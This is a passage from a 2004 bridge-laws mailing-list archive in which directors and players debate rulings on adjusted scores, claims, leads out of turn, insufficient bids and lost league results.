causing a direct linkage between the Definition of an Artificial Adjusted Score and a Law 12C1 ruling. However, in my opinion, this entire discussion is moot. I admit that I was wrong in basing my entire argument, for this particular case, on my misreading of a key phrase in Law 82C, Director's Error. Law 82C: >>.....award an adjusted score, considering both sides as >>non-offending for that purpose. Richard James Hills: I falsely assumed, because both sides were deemed to be the non-offending side, that the "adjusted score" was necessarily an "artificial adjusted score". Not so. WBF LC minutes, 30th October 2001, number 6: >This Law makes no suggestion that a Director should >automatically cancel a board when he has made an error. >Play may continue: a result may be obtained. If it is >necessary to adjust the score this would usually lead to >an assigned score, though of course an artificial score >may also be required where a result could not be obtained. > >Suppose that RHO leads a spade out of turn. Declarer >forbids LHO from leading spades. Unfortunately the >Director tells LHO he may not lead spades again. Later in >the deal LHO gets in and fails to find the killing spade >switch. If the Director had not got this wrong then >perhaps he would have found the switch, perhaps not. > >The Director discusses this with a colleague, and realises >he has gone wrong: he returns to the table with three >tricks to play. Some Directors immediately cancel the >board and award Ave+/Ave+, but this is wrong, and can be >unfair on a player who without the error would have got a >90% board. > >Best is to let them finish, and then adjust if necessary. >Suppose the result was 3NT making, but a spade switch >beats it one. Since both sides are treated as non- >offending, and since the spade switch was reasonable but >not automatic, a fair result is to give declarer 3NT=, the >defence 3NT-1, allowing both sides the benefit of the >doubt. [snip] Richard James Hills: Therefore, I mea culpingly admit that the sensible ruling suggested by other blmlers - 25 vps to 8 vps - is also a legal Law 82C ruling. Best wishes RJH From hans-olof.hallen@bolina.hsb.se Tue May 18 07:30:31 2004 From: hans-olof.hallen@bolina.hsb.se (=?iso-8859-1?Q?Hans-Olof_Hall=E9n?=) Date: Tue, 18 May 2004 08:30:31 +0200 Subject: [blml] a new one Message-ID: <005901c43ca1$9e4771a0$7e23b5d4@swipnet.se> I have a different opinion from most of you. Somebody must be responsible for not posting the result. The players = must represent a club, maybe the club where they posted the result. This = means that the home team is responsible (if both teams represent the = same club both teams might be responsible). So I would rule 22-8 or = 22-5. Herman will certainly tell me where I am wrong. Yours etc Hans-Olof Hall=E9n =20 From contact@contact.contact Tue May 18 12:12:19 2004 From: contact@contact.contact (CIDINFO - Proche-Orient) Date: Tue, 18 May 2004 13:12:19 +0200 Subject: [blml] CIDINFO: Visitez notre site Message-ID: Visitez le site du Collectif Contre la Désinformation au Proche-Orient http://www.cidinfo.org From blml@blakjak.com Tue May 18 13:36:47 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 13:36:47 +0100 Subject: [blml] A new one In-Reply-To: References: Message-ID: RJH wrote >Law 82C: > >>>.....award an adjusted score, considering both sides as >>>non-offending for that purpose. > >Richard James Hills: > >I falsely assumed, because both sides were deemed to be >the non-offending side, that the "adjusted score" was >necessarily an "artificial adjusted score". Not so. Good gracious! Where were you when this was discussed so many times? Why would adjusted score mean artificial adjusted score when it does not say so? European Championship. Declarer reaches 4S, makes ten tricks, claims MI: claim accepted by TDs. He says he *might* make eleven tricks without MI. TDs say to the AC "We did not have time to discuss this hand so we gave A+/A-." Now, apart from the improbability of them not having the time, suppose you were the Chief TD and ruled this was a TD error. What would you adjust it to? A+/A+? The problem with all this is that 4S= scored 75%, 4S+1 scored 95%. So, the original ruling actually damaged declarer giving him less than at the table, and the way too many people use L82C would have confirmed that ruling as correct!!!!!!!!! Fortunately, a sensible AC gave declarer 25% of 4S+1 + 75% of 4S= or thereabouts. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue May 18 13:37:59 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 13:37:59 +0100 Subject: [blml] A new one In-Reply-To: <5.2.0.9.0.20040517130242.009ee340@pop.starpower.net> References: <5.2.0.9.0.20040517083539.026d0670@pop.starpower.net> <5.2.0.9.0.20040517083539.026d0670@pop.starpower.net> <5.2.0.9.0.20040517130242.009ee340@pop.starpower.net> Message-ID: Eric Landau wrote >At 11:34 AM 5/17/04, David wrote: > >>Eric Landau wrote >> >> >I do not see where a finding that "no result can be obtained" >> >necessarily contradicts the facts that at one time a result could have >> >been obtained, and, indeed, was. >> >> Perhaps you should consider the word "obtained" then. A result *was* >>obtained, yes? > >After due consideration, it seems to me that the word "obtained" could >be interpreted to mean "obtained by the person responisible for >obtaining them from the players" rather than "obtained by the players >themselves at the table", in which case we can readily conclude that no >result had been obtained. Which would give us an easy way out of the >current impasse. It is not an easy way out of a soi-disant impasse to twist words in a way they do not mean so as to give an unjust and unfair result that no-one wants. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue May 18 13:46:16 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 13:46:16 +0100 Subject: [blml] One trick or two? In-Reply-To: References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> <000001c43c04$17954210$6900a8c0@WINXP> Message-ID: <5SeBo0EYWgqAFwsW@blakjak.demon.co.uk> John (MadDog) Probst wrote >In article , David Stevenson > writes >>Sven Pran wrote >>>> Hinden, Frances SI-PXS >>>> Subject: [blml] One trick or two? >>>> >>>> This came up in a private (Gold Cup) match yesterday. We never bothered >>>> to agree/get a ruling on it as it had no effect on the result of the >>>> match. But we wondered what the ruling should be. >>>> >>>> AKJ10x >>>> 107xxx >>>> J >>>> Qx >>>> >>>> xxx >>>> Axxx >>>> xxx >>>> A10x >>>> >>>> contract is 3H by South (auction is irrelevant) >>>> >>>> HQ lead, low, low, Ace >>>> heart, Jack, low, King >>>> DK, low, low, low >>>> small club, low, King, low >>>> club, Queen, low, _small spade_ >>>> AK of spades, spade ruff (spades break 3-2) >>>> >>>> declarer now claims, saying "I can ruff a club to get to dummy" >>>> >>>> one trick or two? >>> >>>One automatic trick (offending PLAYER did not win the revoke trick or any >>>subsequent trick with a club; he has stated as part of his claim that he >>>will ruff the AC!) >> >> No, Sven, he has a little club he did not follow to the queen with, so >>he could cash the CA then ruff that little club. > >I think that he pitched the CA, he's said "dummy's high" in effect. If he meant "Dummy's high" then he would have said "Dummy's high" in which case the ruling would be different. Since he did not say "Dummy's high" we assume his claim is as he did say, namely "I can ruff a club to get to dummy". AKx -- -- x -- Qxx Qx + x Qx -- -- -- -- Ax xx -- Clubs are trumps. Declarer says "I can ruff a diamond to get to dummy". Would you give him 4 tricks? Of course: you allow him to cash the DA first because he did not say he would not. But if he said "Dummy's high" that's a trick to the defence. He may have thought the spades were running - well, that's what he said. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue May 18 13:47:58 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 13:47:58 +0100 Subject: [blml] How do you rule? Part II In-Reply-To: References: Message-ID: Ed Reppert wrote >Here's the rest of the story. For reference, my original message is >repeated below. > >9. When the director was informed that dummy called attention to the >lead out of turn, she said "that's okay, she's permitted to do that." Wrong, of course. >10. She ruled that declarer should lead from his hand. Wrong, of course. >11. When informed that West had faced the two of diamonds and then >returned it to his hand, she said "that's okay, he was obviously >leading that card." Wrong, of course. >12. Declarer then led the diamond ace from his hand. Surely, even this TD made him lead the small diamond? >Original message: > >> At the club tonight, the following sequence of events occurred: >> >> 1. West, in 1NT, calls for a low diamond from the board (KT54) >> 2. East, dummy, says "you're in your hand." >> 3. North says "I'll accept the lead." >> 4. West faces the two of diamonds. >> 5. West says to North "you can't accept the lead, your partner has to >>do that." >> 6. North says "let's call the Director". >> 7. West puts the two of diamonds back in his hand. >> 8. the director arrives, North relates events 1 through 3, 5 and 6. >> >> Your ruling, please? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue May 18 13:51:15 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 13:51:15 +0100 Subject: [blml] How do you rule? Part II In-Reply-To: <200405171822.LAA11166@mailhub.irvine.com> References: <200405171822.LAA11166@mailhub.irvine.com> Message-ID: Adam Beneschan wrote > >> Here's the rest of the story. For reference, my original message is >> repeated below. >> >> 9. When the director was informed that dummy called attention to the >> lead out of turn, she said "that's okay, she's permitted to do that." > >Wrong. However, the Laws don't give a specific penalty for this. >They allow the TD to impose a procedural penalty; but even in a club >where the TD knows the Laws, I can't imagine giving a PP given that >many players don't know this rule. A PP? What for? Unless you mean a PP to the TD. > A warning should be enough. A warning is far too much. > In >some rare cases, dummy's infraction may cause damage by causing East >to give declarer the unauthorized information that North would prefer >that declarer lead from dummy (normally it's AI, but I think it might >be UI here because of dummy's infraction). I'd expect this an >adjustment on these grounds to be extremely unusual, though. > >> 10. She ruled that declarer should lead from his hand. > >Wrong again, as already discussed. > >> 11. When informed that West had faced the two of diamonds and then >> returned it to his hand, she said "that's okay, he was obviously >> leading that card." >> 12. Declarer then led the diamond ace from his hand. > >The TD should rule that the declarer must lead the D2. The reason is >that since the TD has already gone 0-for-2 in her rulings, she >shouldn't spoil her perfect record by getting one right. Whoops! She has already ruled that the D2 is a correct lead, so insisting on the D2 is 1 for 3, not 0 for 3. >I believe that by L9B2, any actions following an irregularity are >cancelled, so we act as if the D2 lead never really happened. So once >the TD rules (incorrectly in this case) that declarer must lead from >his hand, he's allowed to lead any card in his hand. I don't think >L9C has any effect here. But the TD didn't rule that: she ruled the D2 *was* an acceptable lead, ie there was no further irregularity after the first lead out of turn. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue May 18 13:54:00 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 13:54:00 +0100 Subject: [blml] a new one In-Reply-To: <005901c43ca1$9e4771a0$7e23b5d4@swipnet.se> References: <005901c43ca1$9e4771a0$7e23b5d4@swipnet.se> Message-ID: Hans-Olof Hallén wrote >I have a different opinion from most of you. >Somebody must be responsible for not posting the result. The players >must represent a club, maybe the club where they posted the result. >This means that the home team is responsible (if both teams represent >the same club both teams might be responsible). So I would rule 22-8 or >22-5. >Herman will certainly tell me where I am wrong. Sorry, Hans-Olof, players are required to follow the regulations set down for them, not other regulations. Teams do not represent a club in such leagues [usually: some leagues are different] but it is true that there is a home team who arrange a venue. But the regulations are that the result is agreed, written and submitted to a club or to the organiser. The result was agreed, written and submitted to a club. How can you blame either team for this? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Tue May 18 14:10:27 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 18 May 2004 09:10:27 -0400 Subject: [blml] How do you rule? Part II In-Reply-To: <200405171822.LAA11166@mailhub.irvine.com> Message-ID: On Monday, May 17, 2004, at 14:22 US/Eastern, Adam Beneschan wrote: > I believe that by L9B2, any actions following an irregularity are > cancelled, so we act as if the D2 lead never really happened. L9B2 doesn't say that. It says that taking such an action is an infraction. Also, it says "No player shall", which seems to me to indicate that a penalty should be assessed (see the preface) "more often than not". Such a literal interpretation may be anathema, particularly to club directors, but that's what it says, IMO. From ereppert@rochester.rr.com Tue May 18 14:13:43 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 18 May 2004 09:13:43 -0400 Subject: [blml] How do you rule? Part II In-Reply-To: Message-ID: <303A8AEF-A8CD-11D8-864B-0030656F6826@rochester.rr.com> On Tuesday, May 18, 2004, at 08:47 US/Eastern, David Stevenson wrote: > Surely, even this TD made him lead the small diamond? Nope. Heh. The last exchange, North said to the TD "I think you're wrong, but I'm not going to argue with you." Declarer said "That's what you've been doing," or words to that effect. In the end, it didn't matter much - the defense got the one diamond trick to which they were entitled. From hermandw@hdw.be Tue May 18 14:38:09 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 18 May 2004 15:38:09 +0200 Subject: [blml] Taking Insufficient bidders off the table Message-ID: <40AA11C1.7030307@hdw.be> In recent years, we have been taught to take insufficient bidders off the table in order to ask them why they made the IB. Yesterday we discovered that this may not be a good idea after all. The setting is the oral examination for TD's (new ones and a few recyclees) in Belgium. I am acting as the culprit, bidding 2He over a 2NT opening. I am supposed to have seen 1NT, over which 2He shows spades, which is indeed the hand that I have. But in true exam style, I have not told this to the other players. 5 out of 6 candidates take me off the table (as they've been instructed to do) and correctly rule that the bid is conventional and cannot be made sufficient without penalty. So they force my partner to pass. So far, so good. It comes to my turn to lead (against 3NT) and declarer tries to trick the examinee into awarding lead penalties against me. They don't fall for that, but when it comes to ruling lead penalties against my partner, it all becomes a bit hazier. In most cases after all, it is not known to the table that my 2He actually shows spades. So it becomes rather difficult for our candidates to make the distinction between L26A and L26B. One of them actually rules 26B. In one case, declarer tries to have me reveal what my hand is "I'm entitled to know what you intended" he says, and the candidate agrees with me that I should only tell that 2He opening would be Polish, 2He jump overcall would be weak, 2He cue-bid would be Michael's, 2He over 1NT would be spades, 2He over 2Cl would be natural and 2He over 2Di Multi would be take out against hearts (which is how I would normally play all those). Also noteworthy is that none of the candidates told me (either at or off the table) that if I repeat spades, the lead penalties disappear. In fact, the only TD that solved the problem almost completely correct was the one that asked at the table what I thought I was bidding. Which is actually what usually happens in real life as well - most people will rapidly say when they are made aware they just made an insufficient bid "oh, I thought you had opened 1NT". One more thought about applying L26B in stead of L26A: my partner at the table was also an international TD (Jan Boets). In real life, he would realize from the ruling (no possibility of simply raising) that my 2He would have been conventional. He would know which suit to return in, whereas declarer might not know which suit to forbid. Comments? -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hans-olof.hallen@bolina.hsb.se Tue May 18 14:39:21 2004 From: hans-olof.hallen@bolina.hsb.se (=?iso-8859-1?Q?Hans-Olof_Hall=E9n?=) Date: Tue, 18 May 2004 15:39:21 +0200 Subject: [blml] a new one Message-ID: <002b01c43cdd$8687c420$7e23b5d4@swipnet.se> To David S. In our country the home team is responsible for posting results = correctly. This includes sending the result to the correct body. It is a = pity you have different regulations in other countries. Yours etc Hans-Olof From svenpran@online.no Tue May 18 15:20:37 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 18 May 2004 16:20:37 +0200 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: <40AA11C1.7030307@hdw.be> Message-ID: <000101c43ce3$4a904c70$6900a8c0@WINXP> > Herman De Wael .............. > In recent years, we have been taught to take insufficient=20 > bidders off the table in order to ask them why they made the IB. >=20 > Yesterday we discovered that this may not be a good idea after all. >=20 > The setting is the oral examination for TD's (new ones and a few > recyclees) in Belgium. >=20 > I am acting as the culprit, bidding 2He over a 2NT opening. > I am supposed to have seen 1NT, over which 2He shows spades, which is > indeed the hand that I have. > But in true exam style, I have not told this to the other players. >=20 > 5 out of 6 candidates take me off the table (as they've been > instructed to do) and correctly rule that the bid is conventional and > cannot be made sufficient without penalty. So they force my partner to > pass. So far, so good. It comes to my turn to lead (against 3NT) and > declarer tries to trick the examinee into awarding lead penalties > against me. They don't fall for that, but when it comes to ruling lead > penalties against my partner, it all becomes a bit hazier. >=20 > In most cases after all, it is not known to the table that my 2He > actually shows spades. So it becomes rather difficult for our > candidates to make the distinction between L26A and L26B. One of them > actually rules 26B. >=20 > In one case, declarer tries to have me reveal what my hand is "I'm > entitled to know what you intended" he says, and the candidate agrees > with me that I should only tell that 2He opening would be Polish, 2He > jump overcall would be weak, 2He cue-bid would be Michael's, 2He over > 1NT would be spades, 2He over 2Cl would be natural and 2He over 2Di > Multi would be take out against hearts (which is how I would normally > play all those). >=20 > Also noteworthy is that none of the candidates told me (either at or > off the table) that if I repeat spades, the lead penalties disappear. >=20 > In fact, the only TD that solved the problem almost completely correct > was the one that asked at the table what I thought I was bidding. >=20 > Which is actually what usually happens in real life as well - most > people will rapidly say when they are made aware they just made an > insufficient bid "oh, I thought you had opened 1NT". >=20 > One more thought about applying L26B instead of L26A: my partner at > the table was also an international TD (Jan Boets). In real life, he > would realize from the ruling (no possibility of simply raising) that > my 2He would have been conventional. He would know which suit to > return in, whereas declarer might not know which suit to forbid. >=20 > Comments? The amount of information offered to the non-offending side and to offender's partner must be under control by the Director, this appears obvious to me and I do wonder whether other Directors feel differently. = I would never let a player at the table attempt to instruct his opponents directly on their obligations. So if the Director takes the offender away from the table and decides to conceal the intended meaning of the insufficient bid from the other = players then we either have a case for Law 27B1 (not conventional bid) or a case = for Law 27B2 and Law 26B (conventional call not related to a specified suit = or suits - at least as far as the other players at the table are = concerned). In either case a certain amount of information on the insufficient bid = is given to the other players at the table, and indeed offender's partner = will often be in a much better position than either non-offender to draw = valid inference from such information. This is then an unfair advantage to offending side. Personally I prefer in most cases of insufficient bids to resolve the situation with all players present at the table although I can imagine = some cases where taking the offender away and let him tell his story to the Director alone would be advantageous. I am not aware of any general instruction to Norwegian Directors like the one quoted above to always = take the offender away from the table. The advantage of having the facts = revealed to all players is of course that there will be no problem selecting = between a Law 26A and a Law 26B ruling. Naturally, the facts from the irregularity (e.g. the intended meaning of = the call) are AI to non-offenders and UI to offender's partner; I see = absolutely no problem with that. Regards Sven From blml@blakjak.com Tue May 18 15:29:42 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 15:29:42 +0100 Subject: [blml] a new one In-Reply-To: <002b01c43cdd$8687c420$7e23b5d4@swipnet.se> References: <002b01c43cdd$8687c420$7e23b5d4@swipnet.se> Message-ID: Hans-Olof Hallén wrote >In our country the home team is responsible for posting results >correctly. This includes sending the result to the correct body. It is >a pity you have different regulations in other countries. It would not have mattered: they *did* send the result to the correct body. Which team did does not matter. The problem arose because the correct body was an intermediary, and they made the mistake. Quite frankly, I do not think 'It is a pity you have different regulations in other countries' is fair. I have no doubt that with your regs I could find a case where a decision is necessary and the two teams are neither at fault. Let me see. Suppose your league loses a result. When the next league table is to be published they announce that owing to an internal error [they are searching for the result!] they cannot produce one. When next they are to publish a result they announce they have lost one, and we are back ot the same situation: the teams are not at fault, but they cannot remember [perhaps both think they can but disagree, for example]. What now? I am surprised at the reactions to this problem. Different authorities run events in different ways, and a spirit of tolerance would help. I do not feel it is up to me to criticise Norwegian or Swedish running of events because they are different from ours, yet the instinctive reaction from Norway and Sweden seems to criticise our leagues. I am quite sure that however you run your events problems occur. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Tue May 18 15:47:18 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 18 May 2004 16:47:18 +0200 Subject: [blml] a new one In-Reply-To: <002b01c43cdd$8687c420$7e23b5d4@swipnet.se> Message-ID: <000301c43ce7$049d34e0$6900a8c0@WINXP> > Hans-Olof Hall=E9n > To David S. > In our country the home team is responsible for posting results = correctly. > This includes sending the result to the correct body. It is a pity you > have different regulations in other countries. > Yours etc > Hans-Olof In Norway we have league series where all matches in a round are played simultaneously and with the same set of boards. The "home" team in each match is always responsible for handing in the return, either to a = league secretary who is present or most often to the Director who then acts as agent for the secretary. However, the secretary may also authorize an individual match in a round = to be played "detached" from the other matches in that same round in which = case specific instructions for the match is issued together with the authorization. We also have a league where the first six rounds are played as K.O. = matches and only the final is played Round Robin. Each K.O. match is then = arranged locally by the home team and the winner (!) of the match is responsible = for returning the result to the secretary within the first working day after = the match was played. In the original case as presented and clarified here I understand that = the hosting club was authorized by the league secretary to act as their = agent and the participating teams in fact instructed by regulation to hand in their returns to that club. This makes the case an error by SO with both affected teams considered NOS. Regards Sven From svenpran@online.no Tue May 18 16:03:36 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 18 May 2004 17:03:36 +0200 Subject: [blml] a new one In-Reply-To: Message-ID: <000401c43ce9$4beee350$6900a8c0@WINXP> > David Stevenson ....... > I am surprised at the reactions to this problem. Different > authorities run events in different ways, and a spirit of tolerance > would help. I do not feel it is up to me to criticise Norwegian or > Swedish running of events because they are different from ours, yet = the > instinctive reaction from Norway and Sweden seems to criticise our > leagues. I am quite sure that however you run your events problems > occur. I have mentioned the way your league is arranged (as I understand it) to = a few fellow directors. There are two distinct features which astonishes = most of us: 1: The fact that a missing result can go unnoticed for nearly half a = year, apparently as an undesirable consequence of how the league is arranged. 2: That you play a serial league with little or no assurance for = different matches in the same "round" to be balanced with respect to the amount of IMPs offered.=20 But this is your game, and it is really none of our business to = criticize so please don't get our comments wrong. Regards Sven=20 From adam@irvine.com Tue May 18 16:30:42 2004 From: adam@irvine.com (Adam Beneschan) Date: Tue, 18 May 2004 08:30:42 -0700 Subject: [blml] How do you rule? Part II In-Reply-To: Your message of "Tue, 18 May 2004 13:51:15 BST." Message-ID: <200405181530.IAA22646@mailhub.irvine.com> David wrote: > Adam Beneschan wrote > >> > >> 9. When the director was informed that dummy called attention to the > >> lead out of turn, she said "that's okay, she's permitted to do that." > > > >Wrong. However, the Laws don't give a specific penalty for this. > >They allow the TD to impose a procedural penalty; but even in a club > >where the TD knows the Laws, I can't imagine giving a PP given that > >many players don't know this rule. > > A PP? What for? Unless you mean a PP to the TD. Well, yes, in Ed's club, where the TD makes up the Laws as she goes. But my above statement was in the context of a hypothetical club where the TD knows the Laws. I realize this may be a total fantasy---except, of course, at clubs where BLMLers are the directors. ;) ;) ;) > >> 11. When informed that West had faced the two of diamonds and then > >> returned it to his hand, she said "that's okay, he was obviously > >> leading that card." > >> 12. Declarer then led the diamond ace from his hand. > > > >The TD should rule that the declarer must lead the D2. The reason is > >that since the TD has already gone 0-for-2 in her rulings, she > >shouldn't spoil her perfect record by getting one right. > > Whoops! She has already ruled that the D2 is a correct lead, so > insisting on the D2 is 1 for 3, not 0 for 3. > > >I believe that by L9B2, any actions following an irregularity are > >cancelled, so we act as if the D2 lead never really happened. So once > >the TD rules (incorrectly in this case) that declarer must lead from > >his hand, he's allowed to lead any card in his hand. I don't think > >L9C has any effect here. > > But the TD didn't rule that: she ruled the D2 *was* an acceptable > lead, ie there was no further irregularity after the first lead out of > turn. Point taken. But in a somewhat similar situation, where declarer leads incorrectly from dummy, someone points this out, then declarer leads a card from hand, then they belatedly call the TD, the incorrect lead from dummy is *not* accepted, and the TD doesn't jump the gun by ruling that the card declarer led from hand is a correct lead, I still think the correct ruling is that declarer's lead from hand is cancelled as if it had never existed, and declarer may lead any card from his hand. Is this correct, or should the TD rule that declarer must lead the card he already led from hand before they called the TD? -- Adam From blml@blakjak.com Tue May 18 16:46:53 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 16:46:53 +0100 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: <000101c43ce3$4a904c70$6900a8c0@WINXP> References: <40AA11C1.7030307@hdw.be> <000101c43ce3$4a904c70$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> Herman De Wael >.............. >> In recent years, we have been taught to take insufficient >> bidders off the table in order to ask them why they made the IB. >> >> Yesterday we discovered that this may not be a good idea after all. >> >> The setting is the oral examination for TD's (new ones and a few >> recyclees) in Belgium. >> >> I am acting as the culprit, bidding 2He over a 2NT opening. >> I am supposed to have seen 1NT, over which 2He shows spades, which is >> indeed the hand that I have. >> But in true exam style, I have not told this to the other players. >> >> 5 out of 6 candidates take me off the table (as they've been >> instructed to do) and correctly rule that the bid is conventional and >> cannot be made sufficient without penalty. So they force my partner to >> pass. So far, so good. It comes to my turn to lead (against 3NT) and >> declarer tries to trick the examinee into awarding lead penalties >> against me. They don't fall for that, but when it comes to ruling lead >> penalties against my partner, it all becomes a bit hazier. >> >> In most cases after all, it is not known to the table that my 2He >> actually shows spades. So it becomes rather difficult for our >> candidates to make the distinction between L26A and L26B. One of them >> actually rules 26B. >> >> In one case, declarer tries to have me reveal what my hand is "I'm >> entitled to know what you intended" he says, and the candidate agrees >> with me that I should only tell that 2He opening would be Polish, 2He >> jump overcall would be weak, 2He cue-bid would be Michael's, 2He over >> 1NT would be spades, 2He over 2Cl would be natural and 2He over 2Di >> Multi would be take out against hearts (which is how I would normally >> play all those). >> >> Also noteworthy is that none of the candidates told me (either at or >> off the table) that if I repeat spades, the lead penalties disappear. >> >> In fact, the only TD that solved the problem almost completely correct >> was the one that asked at the table what I thought I was bidding. >> >> Which is actually what usually happens in real life as well - most >> people will rapidly say when they are made aware they just made an >> insufficient bid "oh, I thought you had opened 1NT". >> >> One more thought about applying L26B instead of L26A: my partner at >> the table was also an international TD (Jan Boets). In real life, he >> would realize from the ruling (no possibility of simply raising) that >> my 2He would have been conventional. He would know which suit to >> return in, whereas declarer might not know which suit to forbid. >> >> Comments? > >The amount of information offered to the non-offending side and to >offender's partner must be under control by the Director, this appears >obvious to me and I do wonder whether other Directors feel differently. I >would never let a player at the table attempt to instruct his opponents >directly on their obligations. > >So if the Director takes the offender away from the table and decides to >conceal the intended meaning of the insufficient bid from the other players >then we either have a case for Law 27B1 (not conventional bid) or a case for >Law 27B2 and Law 26B (conventional call not related to a specified suit or >suits - at least as far as the other players at the table are concerned). > >In either case a certain amount of information on the insufficient bid is >given to the other players at the table, and indeed offender's partner will >often be in a much better position than either non-offender to draw valid >inference from such information. This is then an unfair advantage to >offending side. > >Personally I prefer in most cases of insufficient bids to resolve the >situation with all players present at the table although I can imagine some >cases where taking the offender away and let him tell his story to the >Director alone would be advantageous. I am not aware of any general >instruction to Norwegian Directors like the one quoted above to always take >the offender away from the table. The advantage of having the facts revealed >to all players is of course that there will be no problem selecting between >a Law 26A and a Law 26B ruling. > >Naturally, the facts from the irregularity (e.g. the intended meaning of the >call) are AI to non-offenders and UI to offender's partner; I see absolutely >no problem with that. No doubt I have said it many times before [yes, shut up, I hear you say] but the problems shown up by this thread are just another example of how much better this Law would be if it was changed to allowing correction to the lowest sufficient bid in the same denomination. Sure, you would still get UI problems, but not from anything caused by the TD's investigations: he would not need to investigate until the hand was over. When I proposed this to a couple of people at Lille, Colker and Wolff agreed that I was out of my tree. Now, having Colker and Wolff agree seems pretty unlikely anyway: does it suggest that I am right or wrong when they disagree with me while agreeing with each other? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Tue May 18 16:49:01 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 18 May 2004 17:49:01 +0200 Subject: [blml] How do you rule? Part II In-Reply-To: <200405181530.IAA22646@mailhub.irvine.com> Message-ID: <000b01c43cef$a3bc3f50$6900a8c0@WINXP> Adam Beneschan ......... > Point taken. But in a somewhat similar situation, where declarer > leads incorrectly from dummy, someone points this out, then declarer > leads a card from hand, then they belatedly call the TD, the incorrect > lead from dummy is *not* accepted, and the TD doesn't jump the gun by > ruling that the card declarer led from hand is a correct lead, I still > think the correct ruling is that declarer's lead from hand is > cancelled as if it had never existed, and declarer may lead any card > from his hand. Is this correct, or should the TD rule that declarer > must lead the card he already led from hand before they called the TD? Both in Law 9C and in Law 11A you find the word "may". The activity is not automatically cancelled, nor is it automatically sustained. This decision is at the discretion of the Director. In your last example if Declarer led a card in a suit different from = what he led from dummy then I would probably hold him to his latest lead. However if he led a card in the same suit and I got the impression that = this was mainly due to some (misleading) statement by either defender then I would most likely cancel that lead and tell him that he was free to lead = any card he wants. Just to mention two possibilities. Sven From blml@blakjak.com Tue May 18 17:00:23 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 17:00:23 +0100 Subject: [blml] How do you rule? Part II In-Reply-To: <200405181530.IAA22646@mailhub.irvine.com> References: <200405181530.IAA22646@mailhub.irvine.com> Message-ID: Adam Beneschan wrote >Point taken. But in a somewhat similar situation, where declarer >leads incorrectly from dummy, someone points this out, then declarer >leads a card from hand, then they belatedly call the TD, the incorrect >lead from dummy is *not* accepted, and the TD doesn't jump the gun by >ruling that the card declarer led from hand is a correct lead, I still >think the correct ruling is that declarer's lead from hand is >cancelled as if it had never existed, and declarer may lead any card >from his hand. Is this correct, or should the TD rule that declarer >must lead the card he already led from hand before they called the TD? No, I agree with this. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue May 18 17:02:46 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 17:02:46 +0100 Subject: [blml] a new one In-Reply-To: <000401c43ce9$4beee350$6900a8c0@WINXP> References: <000401c43ce9$4beee350$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >....... >> I am surprised at the reactions to this problem. Different >> authorities run events in different ways, and a spirit of tolerance >> would help. I do not feel it is up to me to criticise Norwegian or >> Swedish running of events because they are different from ours, yet the >> instinctive reaction from Norway and Sweden seems to criticise our >> leagues. I am quite sure that however you run your events problems >> occur. > >I have mentioned the way your league is arranged (as I understand it) to a >few fellow directors. There are two distinct features which astonishes most >of us: > >1: The fact that a missing result can go unnoticed for nearly half a year, >apparently as an undesirable consequence of how the league is arranged. > >2: That you play a serial league with little or no assurance for different >matches in the same "round" to be balanced with respect to the amount of >IMPs 